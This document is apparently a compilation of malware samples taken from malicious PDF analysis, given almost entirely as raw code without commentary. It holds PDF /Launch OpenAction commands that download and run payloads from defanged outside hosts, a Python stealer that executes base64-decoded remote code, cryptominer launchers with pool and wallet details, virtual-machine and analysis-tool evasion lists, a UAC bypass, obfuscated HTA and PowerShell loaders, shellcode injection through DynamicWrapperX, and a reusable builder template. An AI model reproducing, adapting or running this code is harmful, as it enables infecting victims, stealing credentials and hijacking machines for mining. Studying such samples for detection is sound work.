"C:\Windows\System32\cmd.exe" /c cD  %tEMP% &@echo powershell -Command "(New-Object Net.WebClient).DownloadFile('hxxps://cdn.discordapp.com/attachments/1010643365152436226/1011056243474960515/Client_1.exe', 'payload.exe')" >> msd89h2j389uh.bat &@echo timeout /t 5 >> msd89h2j389uh.bat &@echo start payload.exe >> msd89h2j389uh.bat &@echo Set oShell = CreateObject ("Wscript.Shell") >> encrypted.vbs &@echo Dim strArgs >> encrypted.vbs &@echo strArgs = "cmd /c msd89h2j389uh.bat" >> encrypted.vbs &@echo oShell.Run strArgs, 0, false >> encrypted.vbs & encrypted.vbs &dEl encrypted.vbs

.\pdf-parser.py .\mlw.pdf
PDF Comment '%PDF-1.1\r\n'

obj 1 0
 Type: /Catalog
 Referencing: 2 0 R

  <<
    /OpenAction
      <<
        /S /Launch
        /Win
          <<
            /F (CMD)
            /P '(/c cD  %tEMP% &@echo powershell -Command "(New-Object Net.WebClient).DownloadFile(\'hxxps://cdn.discordapp.com/attachments/1010643365152436226/1011056243474960515/Client_1.exe\', \'payload.exe\')"'
          >>
        msd89h2j389uh.bat &@echo timeout
        / t 5
      >>
    msd89h2j389uh.bat &@echo start payload.exe
  >>

obj 2 0
 Type: /Pages
 Referencing: 3 0 R

  <<
    /Kids [ 3 0 R ]
    /Count 1
    /Type /Pages
  >>

obj 3 0
 Type: /Page
 Referencing: 5 0 R, 2 0 R, 4 0 R

  <<
    /Resources
      <<
        /Font
          <<
            /F1 5 0 R
          >>
      >>
    /MediaBox [ 0 0 795 842 ]
    /Parent 2 0 R
    /Contents 4 0 R
    /Type /Page
  >>

obj 4 0
 Type:
 Referencing:
 Contains stream

  <<
    /Length 1260
  >>

obj 5 0
 Type: /Font
 Referencing:

  <<
    /Subtype /Type1
    /Name /F1
    /BaseFont /Helvetica
    /Type /Font
  >>

xref

trailer
  <<
    /Size 6
    /Root 1 0 R
    /ID [(bc38735adadf7620b13216ff40de2b26)(bc38735adadf7620b13216ff40de2b26)]
  >>

startxref 1866

PDF Comment '%%EOF'

/S /Launch
        /Win
          <<
            /F (cmd.exe)
            /P '(/c cD %tEMP% &@echo powershell -Command "(New-Object Net.WebClient).DownloadFile(\'hxxps://omagle-chat-secure.com/target.exe\', \'payload.exe\')"'
          >>
        msd89h2j389uh.bat &@echo timeout
        / t 5

def downloader_decrypt_string(encrypted: bytes, key: int) -> bytes:
    result = []
    for char in encrypted:
        if chr(char) in string.ascii_letters:
            base = ord("A") if char <= ord("Z") else ord("a")
            char = (char - base - key + 0x1A) % 0x1A + base
        result.append(char)
    return bytes(result)

>>  b'APPDATA'
>>  b'\\Intel\\index.exe'
>>  b'\\Intel\\upload.exe'
>>  b'hxxps://mailservicess.com/res/data/in.exe'
>>  b'hxxps://mailservicess.com/res/data/up.exe'
>>  b'SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run'
>>  b'TailoredExperiencesWithDiagnosticDataEnabled'
>>  b'ghijkl/ghijkl'
>>  b'/index.php'
>>  b'mailservicess.com'
>>  b'\\Systems.exe'
>>  b'Systems.exe'
>>  b'\\Mozila\\'

/OpenAction
      <<
        /S /Launch
        /Win
          <<
            /F '(c:\\\\windows\\\\system32\\\\cmd.exe)'
            /P '(/c curl hxxps://sealingshop.click/bat/bostar4 -o "C:\\\\Users\\\\Public\\\\mems.bat" & C:\\\\Users\\\\Public\\\\mems.bat)'
          >>
      >>

cmd /c start https://www.facebook.com/help/contact/1304188393453553?ref=payout_hub
C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden Invoke-WebRequest -URI hxxps://sealingshop.click/config/stu -OutFile "C:\\Users\\$([Environment]::UserName)\\AppData\\Roaming\\Microsoft\\Windows\\'Start Menu'\\Programs\\Startup\\WindowsUpdate.bat"
cmd /c mkdir "C:\\Users\\Public\\python39"
cmd /c curl hxxps://sealingshop.click/app/python39.zip -o "C:\\Users\\Public\\python39\\python39.zip"
cmd /c tar -xf C:\\Users\\Public\\python39\\python39.zip -C "C:\\Users\\Public\\python39"
cmd /c curl hxxps://sealingshop.click/py/bostar4 -o "C:\\Users\\Public\\python39\\documents.py"
cmd /c C:\\Users\\Public\\python39\\python.exe "C:\\Users\\Public\\python39\\documents.py"

cmd /c C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden C:\\Users\\Public\\python39\\python C:\\Users\\Public\\python39\\documents.py;

import os
import base64
import sqlite3
import win32crypt
from Crypto.Cipher import AES
import requests
import json
import getpass
import sys

vari = ''
exec(base64.b64decode({2:str,3:lambda b:bytes(b, 'UTF-8')}[sys.version_info[0]]('dmFyaSA9IHJlcXVlc3RzLmdldCgnaHR0cHM6Ly9zZWFsaW5nc2hvcC5jbGljay9weWVuL2Jvc3RhcjQnKS50ZXh0')))
exec(base64.b64decode({2:str,3:lambda b:bytes(b, 'UTF-8')}[sys.version_info[0]](vari)))

os.system('cmd /c mkdir "C:\\Users\\Public\\PublicAlbums"')
os.system("powershell.exe -windowstyle hidden Invoke-WebRequest -URI " + url_miner_xmrig + " -OutFile C:\\Users\\Public\\PublicAlbums\\xmrig.zip")
os.system("powershell.exe -windowstyle hidden Expand-Archive C:\\Users\\Public\\PublicAlbums\\xmrig.zip -DestinationPath C:\\Users\\Public\\PublicAlbums")
os.system("cmd /c C:\\Users\\Public\\PublicAlbums\\config.vbs")

Sub Main()
Dim WShell,objFSO
Set WShell = CreateObject("WScript.Shell")
Set objFSO = CreateObject("Scripting.FileSystemObject")
If objFSO.FileExists("C:\\Users\\Public\\PublicAlbums\\xmrig.exe") Then
    WShell.Run "C:\\Users\\Public\\PublicAlbums\\xmrig.exe --donate-level 1 -o de.zephyr.herominers.com:1123 -u ZEPHsCVJBy21Z2qvE7JpbwDgsQCzPqyV58KWAZ2qzVYAjPh4bsjrGB7W6DkTuUy4p5Kk75dUyvBtgH3jpspeQUbnR8ZMYL7wDcV -p workerbot -a rx/0 -k", 0
    Set WShell = Nothing
End If
End Sub

On Error Resume Next
    Main

Sub Main()
Dim WShell,objFSO
Set WShell = CreateObject("WScript.Shell")
Set objFSO = CreateObject("Scripting.FileSystemObject")
If objFSO.FileExists("C:\\Users\\Public\\PublicSounds\\lolMiner.exe") Then
    WShell.Run "C:\\Users\\Public\\PublicSounds\\lolMiner.exe --algo NEXA --pool stratum+ssl://nexapow.unmineable.com:4444 --user ZEPH:ZEPHsCVJBy21Z2qvE7JpbwDgsQCzPqyV58KWAZ2qzVYAjPh4bsjrGB7W6DkTuUy4p5Kk75dUyvBtgH3jpspeQUbnR8ZMYL7wDcV --watchdog exit !EXTRAPARAMETERS!", 0
    Set WShell = Nothing
End If
End Sub

On Error Resume Next
    Main

/OpenAction
      <<
        /S /Launch
        /Win
          <<
            /F (CMD)
            /P '(/c cD  %tEMP% &@echo powershell -Command "(New-Object Net.WebClient).DownloadFile(\'hxxps://cdn.discordapp.com/attachments/1167576449859993683/1168168071366709278/lol.pyw\', \'lol.pyw\')"'
          >>
        msd89h2j389uh.bat &@echo timeout
        / t 5
      >>
    msd89h2j389uh.bat &@echo start stub.pyw
  >>

class VmProtect:
    BLACKLISTED_UUIDS = ('7AB5C494-39F5-4941-9163-47F54D6D5016', '032E02B4-0499-05C3-0806-3C0700080009', '03DE0294-0480-05DE-1A06-350700080009', '11111111-2222-3333-4444-555555555555', '6F3CA5EC-BEC9-4A4D-8274-11168F640058', 'ADEEEE9E-EF0A-6B84-B14B-B83A54AFC548', '4C4C4544-0050-3710-8058-CAC04F59344A', '00000000-0000-0000-0000-AC1F6BD04972', '00000000-0000-0000-0000-000000000000', '5BD24D56-789F-8468-7CDC-CAA7222CC121', '49434D53-0200-9065-2500-65902500E439', '49434D53-0200-9036-2500-36902500F022', '777D84B3-88D1-451C-93E4-D235177420A7', '49434D53-0200-9036-2500-369025000C65', 'B1112042-52E8-E25B-3655-6A4F54155DBF', '00000000-0000-0000-0000-AC1F6BD048FE', 'EB16924B-FB6D-4FA1-8666-17B91F62FB37', 'A15A930C-8251-9645-AF63-E45AD728C20C', '67E595EB-54AC-4FF0-B5E3-3DA7C7B547E3', 'C7D23342-A5D4-68A1-59AC-CF40F735B363', '63203342-0EB0-AA1A-4DF5-3FB37DBB0670', '44B94D56-65AB-DC02-86A0-98143A7423BF', '6608003F-ECE4-494E-B07E-1C4615D1D93C', 'D9142042-8F51-5EFF-D5F8-EE9AE3D1602A', '49434D53-0200-9036-2500-369025003AF0', '8B4E8278-525C-7343-B825-280AEBCD3BCB', '4D4DDC94-E06C-44F4-95FE-33A1ADA5AC27', '79AF5279-16CF-4094-9758-F88A616D81B4', 'FE822042-A70C-D08B-F1D1-C207055A488F', '76122042-C286-FA81-F0A8-514CC507B250', '481E2042-A1AF-D390-CE06-A8F783B1E76A', 'F3988356-32F5-4AE1-8D47-FD3B8BAFBD4C', '9961A120-E691-4FFE-B67B-F0E4115D5919')
    BLACKLISTED_COMPUTERNAMES = ('bee7370c-8c0c-4', 'desktop-nakffmt', 'win-5e07cos9alr', 'b30f0242-1c6a-4', 'desktop-vrsqlag', 'q9iatrkprh', 'xc64zb', 'desktop-d019gdm', 'desktop-wi8clet', 'server1', 'lisa-pc', 'john-pc', 'desktop-b0t93d6', 'desktop-1pykp29', 'desktop-1y2433r', 'wileypc', 'work', '6c4e733f-c2d9-4', 'ralphs-pc', 'desktop-wg3myjs', 'desktop-7xc6gez', 'desktop-5ov9s0o', 'qarzhrdbpj', 'oreleepc', 'archibaldpc', 'julia-pc', 'd1bnjkfvlh', 'compname_5076', 'desktop-vkeons4', 'NTT-EFF-2W11WSS')
    BLACKLISTED_USERS = ('wdagutilityaccount', 'abby', 'peter wilson', 'hmarc', 'patex', 'john-pc', 'rdhj0cnfevzx', 'keecfmwgj', 'frank', '8nl0colnq5bq', 'lisa', 'john', 'george', 'pxmduopvyx', '8vizsm', 'w0fjuovmccp5a', 'lmvwjj9b', 'pqonjhvwexss', '3u2v9m8', 'julia', 'heuerzl', 'harry johnson', 'j.seance', 'a.monaldo', 'tvm')
    BLACKLISTED_TASKS = ('fakenet', 'dumpcap', 'httpdebuggerui', 'wireshark', 'fiddler', 'vboxservice', 'df5serv', 'vboxtray', 'vmtoolsd', 'vmwaretray', 'ida64', 'ollydbg', 'pestudio', 'vmwareuser', 'vgauthservice', 'vmacthlp', 'x96dbg', 'vmsrvc', 'x32dbg', 'vmusrvc', 'prl_cc', 'prl_tools', 'xenservice', 'qemu-ga', 'joeboxcontrol', 'ksdumperclient', 'ksdumper', 'joeboxserver', 'vmwareservice', 'vmwaretray', 'discordtokenprotector')

    @staticmethod
    def checkUUID() -> bool:
        Logger.info('Checking UUID')
        uuid = subprocess.run('wmic csproduct get uuid', shell=True, capture_output=True).stdout.splitlines()[2].decode(errors='ignore').strip()
        return uuid in VmProtect.BLACKLISTED_UUIDS

    @staticmethod
    def checkComputerName() -> bool:
        Logger.info('Checking computer name')
        computername = os.getenv('computername')
        return computername.lower() in VmProtect.BLACKLISTED_COMPUTERNAMES

    @staticmethod
    def checkUsers() -> bool:
        Logger.info('Checking username')
        user = os.getlogin()
        return user.lower() in VmProtect.BLACKLISTED_USERS

    @staticmethod
    def checkHosting() -> bool:
        Logger.info('Checking if system is hosted online')
        http = PoolManager(cert_reqs='CERT_NONE')
        try:
            return http.request('GET', 'http://ip-api.com/line/?fields=hosting').data.decode(errors='ignore').strip() == 'true'
        except Exception:
            Logger.info('Unable to check if system is hosted online')
            return False

    @staticmethod
    def checkHTTPSimulation() -> bool:
        Logger.info('Checking if system is simulating connection')
        http = PoolManager(cert_reqs='CERT_NONE', timeout=1.0)
        try:
            http.request('GET', f'https://blank-{Utility.GetRandomString()}.in')
        except Exception:
            return False
        else:
            return True

    @staticmethod
    def checkRegistry() -> bool:
        Logger.info('Checking registry')
        r1 = subprocess.run('REG QUERY HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Control\\Class\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0000\\DriverDesc 2', capture_output=True, shell=True)
        r2 = subprocess.run('REG QUERY HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Control\\Class\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0000\\ProviderName 2', capture_output=True, shell=True)
        gpucheck = any((x.lower() in subprocess.run('wmic path win32_VideoController get name', capture_output=True, shell=True).stdout.decode(errors='ignore').splitlines()[2].strip().lower() for x in ('virtualbox', 'vmware')))
        dircheck = any([os.path.isdir(path) for path in ('D:\\Tools', 'D:\\OS2', 'D:\\NT3X')])
        return r1.returncode != 1 and r2.returncode != 1 or gpucheck or dircheck

    @staticmethod
    def killTasks() -> None:
        Utility.TaskKill(*VmProtect.BLACKLISTED_TASKS)

    @staticmethod
    def isVM() -> bool:
        Logger.info('Checking if system is a VM')
        Thread(target=VmProtect.killTasks, daemon=True).start()
        result = VmProtect.checkHTTPSimulation() or VmProtect.checkUUID() or VmProtect.checkComputerName() or VmProtect.checkUsers() or VmProtect.checkHosting() or VmProtect.checkRegistry()
        if result:
            Logger.info('System is a VM')
        else:
            Logger.info('System is not a VM')
        return result

@staticmethod
    def UACbypass(method: int=1) -> bool:
        if Utility.GetSelf()[1]:
            execute = lambda cmd: subprocess.run(cmd, shell=True, capture_output=True)
            match method:
                case 1:
                    execute(f'reg add hkcu\\Software\\Classes\\ms-settings\\shell\\open\\command /d "{sys.executable}" /f')
                    execute('reg add hkcu\\Software\\Classes\\ms-settings\\shell\\open\\command /v "DelegateExecute" /f')
                    log_count_before = len(execute('wevtutil qe "Microsoft-Windows-Windows Defender/Operational" /f:text').stdout)
                    execute('computerdefaults --nouacbypass')
                    log_count_after = len(execute('wevtutil qe "Microsoft-Windows-Windows Defender/Operational" /f:text').stdout)
                    execute('reg delete hkcu\\Software\\Classes\\ms-settings /f')
                    if log_count_after > log_count_before:
                        return Utility.UACbypass(method + 1)
                case 2:
                    execute(f'reg add hkcu\\Software\\Classes\\ms-settings\\shell\\open\\command /d "{sys.executable}" /f')
                    execute('reg add hkcu\\Software\\Classes\\ms-settings\\shell\\open\\command /v "DelegateExecute" /f')
                    log_count_before = len(execute('wevtutil qe "Microsoft-Windows-Windows Defender/Operational" /f:text').stdout)
                    execute('fodhelper --nouacbypass')
                    log_count_after = len(execute('wevtutil qe "Microsoft-Windows-Windows Defender/Operational" /f:text').stdout)
                    execute('reg delete hkcu\\Software\\Classes\\ms-settings /f')
                    if log_count_after > log_count_before:
                        return Utility.UACbypass(method + 1)
                case _:
                    return False
            return True

obj 119 0
 Type:
 Referencing:

  <<
    /S /URI
    /URI (hxxps://trello.com/1/cards/661a23427b01e8ba1bde8e2e/attachments/662d51f9e28ce98ab46ecd93/download/Facebook_Adversting_project.pdf)
  >>

/OpenAction
      <<
        /S /Launch
        /Win
          <<
            /F (cmd.exe)
            /P '(/c cD %tEMP% &@echo powershell -Command "(New-Object Net.WebClient).DownloadFile(\'hxxps://www.digitalmarketingstart.com/GFFFDSGSDGDFSGDFSGDSG.lnk\', \'NCGHDFHGTDFJMDFGKJHFTYFUKFYU.LNK\')"'
          >>
        VGHJFUYTKFJFGJHFGKJHGFTGHDFKTGJH.BAT &@echo timeout
        / t 5
      >>
    VGHJFUYTKFJFGJHFGKJHGFTGHDFKTGJH.BAT &@echo start NCGHDFHGTDFJMDFGKJHFTYFUKFYU.LNK
  >>

/c mode 15,1 & .curl hxxps://digitalmarketingstart.com/PHOTO/photoSTARTGOUPDATEPHOTOVIWERGOSTART.JPG -o %AppData%\STARTGOVFFGHJFKJHFTFDGHJF.HTA & start /b %AppData%\STARTGOVFFGHJFKJHFTFDGHJF.HTA

<html>
<head>
<script language="VBScript">
    Set objShell = CreateObject("WScript.Shell")

    ' تحديد روابط التحميل للملفات
    <!--确定文件下载链接-->
    Dim urlVBS, urlJPG
    urlVBS = "hxxps://digitalmarketingstart.com/PHOTO/PHOTOphoto_2024-04-27_07-31-10.jpg"  ' رابط الملف الأول (FILE.VBS)   <!--打开第一个文件-->
    urlJPG = "hxxps://digitalmarketingstart.com/photo_2024-04-27_07-31-10.jpg"  ' رابط الملف الثاني (FILE.JPG)   <!--第一个文件链接-->

    ' تنفيذ أمر التحميل باستخدام curl لكل ملف على حدة
    <!--使用curl分别为每个文件执行下载命令-->
    commandVBS = "cmd.exe /c mode 15,1 & curl " & urlVBS & " -o %temp%\FGHJFTFDHBJVJHGVHJKFVJGTFKHFJH.VBS & start /b %temp%\FGHJFTFDHBJVJHGVHJKFVJGTFKHFJH.VBS"
    commandJPG = "cmd.exe /c mode 15,1 & curl " & urlJPG & " -o %temp%\photo_2024-04-27_07-31-10.jpg & start /b %temp%\photo_2024-04-27_07-31-10.jpg"

    ' تنفيذ أوامر التحميل لكل ملف بشكل متوازٍ
    <!--执行每个文件的下载命令-->
    objShell.Run commandVBS, 0, True
    objShell.Run commandJPG, 0, True

    ' حذف ملف HTA الحالي بعد التحميل
    <!--下载完成后删除当前的HTA文件-->
    Set objFSO = CreateObject("Scripting.FileSystemObject")
    strScriptPath = objFSO.GetAbsolutePathName(Replace(document.location.pathname, "/", "\"))
    objFSO.DeleteFile strScriptPath

    ' إغلاق نافذة التطبيق HTA
    <!--关闭HTA应用程序窗口-->
    window.close
</script>
</head>
<body>
</body>
</html>

<HTML> 
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<HEAD> 
<script language="VBScript">
Window.ReSizeTo 0, 0
Window.moveTo -7000,-7000
Const RWQICZXUBCOZEYOXXOLPHN = 0
WQCRFZGGQLHDIRTXIFVENK = "."
YLVTDQQXKKQGPFGEOSJZOP = "$HEVCFLOVSDUCGFHQTKFAHKD = '[]<)#]1%$-63<578699)@3#y]<)#]1%$-63<578699)@3#t@%\@2351$@4^^&+&3521_43</&2*6_-\!^/61[5!^\$@.IO.]<)#]1%$-63<578699)@3#t6}}=&_3+#-$^(5^&/@9--+@%\@2351$@4^^&+&3521_4])=+^-6^!2=993*!&^\=<!3</&2*6_-\!^/61[5!^\$@6}}=&_3+#-$^(5^&/@9--+@%\@2351$@4^^&+&3521_4])=+^-6^!2=993*!&^\=<!d@%\@2351$@4^^&+&3521_46}}=&_3+#-$^(5^&/@9--+]'.Replace(']<)#]1%$-63<578699)@3#','S').Replace('@%\@2351$@4^^&+&3521_4','E').Replace('6}}=&_3+#-$^(5^&/@9--+','R').Replace('])=+^-6^!2=993*!&^\=<!','A').Replace('3</&2*6_-\!^/61[5!^\$@','M');
$HQZNQSANBGESOEVVYSOBKZQ = ($HEVCFLOVSDUCGFHQTKFAHKD -Join '')|&('I'+'EX');
$HSCYFSROAUPLLCWDPFTSSSZ = '[-!]#<)}-[1=&*=-/=)0_0}y-!]#<)}-[1=&*=-/=)0_0}-$)047)[({2\$40(!5$9{)\{4@0+!*83\=8(_)**[<3!m.N\{4@0+!*83\=8(_)**[<3!-$)047)[({2\$40(!5$9{).W\{4@0+!*83\=8(_)**[<3!bR\{4@0+!*83\=8(_)**[<3!qu\{4@0+!*83\=8(_)**[<3!-!]#<)}-[1=&*=-/=)0_0}-$)047)[({2\$40(!5$9{)]'.Replace('-!]#<)}-[1=&*=-/=)0_0}','S').Replace('\{4@0+!*83\=8(_)**[<3!','E').Replace('-$)047)[({2\$40(!5$9{)','T');
$HVILEIYVLFQVNERXEWCGCXO = ($HSCYFSROAUPLLCWDPFTSSSZ -Join '')|&('I'+'EX');$HVSQXGOSZZWOBNBTGXRCCZL = '&@_-)*0%&3@]3*9/-3]7!5r0(#9@{/8_<86!95505!/82a#!#!%26@*34@32@!6&&0##0(#9@{/8_<86!95505!/82'.Replace('&@_-)*0%&3@]3*9/-3]7!5','C').Replace('0(#9@{/8_<86!95505!/82','E').Replace('#!#!%26@*34@32@!6&&0##','T')
;$HJCNHHHRXRCBHPAEKDHSXUX = '_]81{)-=]#\872]20\39$53<73-//{#/_1+&4%8*(}7+tR3<73-//{#/_1+&4%8*(}7+%}[0%58)75/^{8}=[}-41<pon%}[0%58)75/^{8}=[}-41<3<73-//{#/_1+&4%8*(}7+'.Replace('_]81{)-=]#\872]20\39$5','G').Replace('3<73-//{#/_1+&4%8*(}7+','E').Replace('%}[0%58)75/^{8}=[}-41<','S');
$HDRRVVKQKQNGJTRCWXTFBBJ = 'G36=[_^+{34+%8+\48#/+$!t&#-$^#!/&79346)265}]&[36=[_^+{34+%8+\48#/+$!(6@!\}_&+(/#^@7%%}*{=^pon(6@!\}_&+(/#^@7%%}*{=^36=[_^+{34+%8+\48#/+$!(6@!\}_&+(/#^@7%%}*{=^t&#-$^#!/&79346)265}]&[36=[_^+{34+%8+\48#/+$!am'.Replace('(6@!\}_&+(/#^@7%%}*{=^','S').Replace('36=[_^+{34+%8+\48#/+$!','E').Replace('&#-$^#!/&79346)265}]&[','R');
$HQLHKKPKITBTDYXPDFDXDCN = '=14&&!*6}12=_047<0$4*%75(-^77{]*}_+=!<[<@@#8a1#&0\/6^%#08}/\-[@/15^To75(-^77{]*}_+=!<[<@@#8n1#&0\/6^%#08}/\-[@/15^'.Replace('=14&&!*6}12=_047<0$4*%','R').Replace('75(-^77{]*}_+=!<[<@@#8','E').Replace('1#&0\/6^%#08}/\-[@/15^','D');
&('I'+'EX')($HQZNQSANBGESOEVVYSOBKZQ::new($HVILEIYVLFQVNERXEWCGCXO::$HVSQXGOSZZWOBNBTGXRCCZL('hxxps://www.digitalmarketingstart.com/digitalmarketing/NEWLUCKASGSTART.JPG').$HJCNHHHRXRCBHPAEKDHSXUX().$HDRRVVKQKQNGJTRCWXTFBBJ()).$HQLHKKPKITBTDYXPDFDXDCN())"
DUHJKVWUERPRNNKARQDOXB = StrReverse(" "+"l"+"l"+"e"+"h"+"s"+"r"+"e"+"w"+"o"+"p")
Set ITTTPGKCLFFSQRFUUWYUSV = GetObject(StrReverse(":"+"s"+"t"+"m"+"g"+"m"+"n"+"i"+"w") _
    & StrReverse("\"+"\"+"!"+"}"+"e"+"t"+"a"+"n"+"o"+"s"+"r"+"e"+"p"+"m"+"i"+"="+"l"+"e"+"v"+"e"+"L"+"n"+"o"+"i"+"t"+"a"+"n"+"o"+"s"+"r"+"e"+"p"+"m"+"i"+"{") _
    & WQCRFZGGQLHDIRTXIFVENK & StrReverse("2"+"v"+"m"+"i"+"c"+"\"+"t"+"o"+"o"+"r"+"\"))

Set RPFCRWSNXWFCEAQKDKOGWP = ITTTPGKCLFFSQRFUUWYUSV.Get(StrReverse("p"+"u"+"t"+"r"+"a"+"t"+"S"+"s"+"se"+"c"+"o"+"r"+"P"+"_"+"2"+"3"+"n"+"i"+"W"))
Set NDGKJWLKGWSPQZGHKLTLZG = RPFCRWSNXWFCEAQKDKOGWP.SpawnInstance_
NDGKJWLKGWSPQZGHKLTLZG.ShowWindow = RWQICZXUBCOZEYOXXOLPHN

' Create Notepad process
Set WTQVYZLZBRCALBUSHDHPJG = ITTTPGKCLFFSQRFUUWYUSV.Get(StrReverse("s"+"s"+"e"+"c"+"o"+"r"+"P"+"_"+"2"+"3"+"n"+"i"+"W"))
RASUVEQBLDGPFLLFXDQZRH = WTQVYZLZBRCALBUSHDHPJG.Create _
    (DUHJKVWUERPRNNKARQDOXB+YLVTDQQXKKQGPFGEOSJZOP, Null, NDGKJWLKGWSPQZGHKLTLZG, intProcessID)
self.close
</script>
<body>
HBar
</body>
</HEAD> 
</HTML>

DCOM_NAME = SHELLOBJ.EXPANDENVIRONMENTSTRINGS (str_temp) & "\" & str_autoupdatestart & ".BIN"
IF NOT IS_DOTNET THEN
   str_rundll32 = SHELLOBJ.EXPANDENVIRONMENTSTRINGS ("%WINDIR%" & "\" & str_rundll32)
ELSE
   str_rundll32 = SHELLOBJ.EXPANDENVIRONMENTSTRINGS ("%WINDIR%")&"\MICROSOFT.NET\FRAMEWORK\V2.0.50727\MSBUILD.EXE"
END IF
WRITE_FILE DCOM_NAME,TEXTTOBINARY(str_base64_1, "BIN.BASE64")
DO
SHELLOBJ.RUN "REGSVR32.EXE /I /S "& CHR(7.5+7.6+7.4+8.5+1.5+1.5)&DCOM_NAME& CHR(7.5+7.6+7.4+8.5+1.5+1.5),0,TRUE
SET DCOM = CREATEOBJECT("DYNAMICWRAPPERX")

DCOM.REGISTER "KERNEL32.DLL", "VirtualAlloc",LCASE("I=PUUU"), LCASE("R=P")
....
LOADER_PTR = DCOM.VIRTUALALLOC (0,LEN(str_base64_2)/2,4096,64)FOR I = 1 TO LEN (str_base64_2) STEP 2
CHAR = ASC(CHR("&H"&MID (str_base64_2,I,2)))
DCOM.NUMPUT EVAL(CHAR),LOADER_PTR,(I-1)/2

/F (CMD) /P (/c cD  %tEMP% &@echo powershell -Command "(New-Object Net.WebClient).DownloadFile('$URL', '$DROPPED_FILENAME.exe')" >> $BAT_FILENAME.bat &@echo timeout /t 5 >> $BAT_FILENAME.bat &@echo start $DROPPED_FILENAME.exe >> $BAT_FILENAME.bat &@echo Set oShell = CreateObject ("Wscript.Shell") >> $VBS_FILENAME.vbs &@echo Dim strArgs >> $VBS_FILENAME.vbs &@echo strArgs = "cmd /c $BAT_FILENAME.bat" >> $VBS_FILENAME.vbs &@echo oShell.Run strArgs, 0, false >> $VBS_FILENAME.vbs & $VBS_FILENAME.vbs &dEl $VBS_FILENAME.vbs